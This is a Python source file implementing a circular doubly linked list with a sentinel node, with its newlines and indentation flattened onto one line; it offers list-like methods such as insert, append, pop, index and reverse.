""" Python implementation of a Circular Doubly Linked List With Sentinel. In this version the Node class is hidden hence the usage is much more similar to a normal list. """ class CDLLwS(object): class Node(object): def __init__(self, data): self.data = data self.prev = None self.next = None def __str__(self): return str(self.data) def __init__(self): self.sentinel = self.Node(None) self.sentinel.next = self.sentinel.prev = self.sentinel self.len = 0 def __len__(self): return self.len def __iter__(self, getNode=False): x = self.sentinel.next while x != self.sentinel: yield x if getNode else x.data x = x.next def __getitem__(self, i, getNode=False): if not -1 <= i < len(self): raise IndexError() elif i == 0: out = self.sentinel.next elif i == -1: if len(self) > 0: out = self.sentinel.prev else: raise IndexError() else: for j, x in enumerate(self.__iter__(getNode=True)): if j == i: out = x break return out if getNode else out.data def _insert_data(self, data, nextNode): node = self.Node(data) node.prev = nextNode.prev node.next = nextNode node.prev.next = node node.next.prev = node self.len += 1 def insert(self, i, data): self._insert_data( data, self.__getitem__(i, getNode=True) if \ len(self) > 0 else self.sentinel ) def append(self, data): self._insert_data( data, self.sentinel ) def pop(self, i=-1): x = self.__getitem__(i, getNode=True) x.prev.next = x.next x.next.prev = x.prev self.len -= 1 return x.data def index(self, data): for i, x in enumerate(self): if x == data: return i raise ValueError("'%s' is not in list" % data) def reverse(self): x = self.sentinel.next while x != self.sentinel: x.next, x.prev = x.prev, x.next x = x.prev self.sentinel.next, self.sentinel.prev = self.sentinel.prev, self.sentinel.next def __str__(self): return str(list(self)) def __repr__(self): return str(self)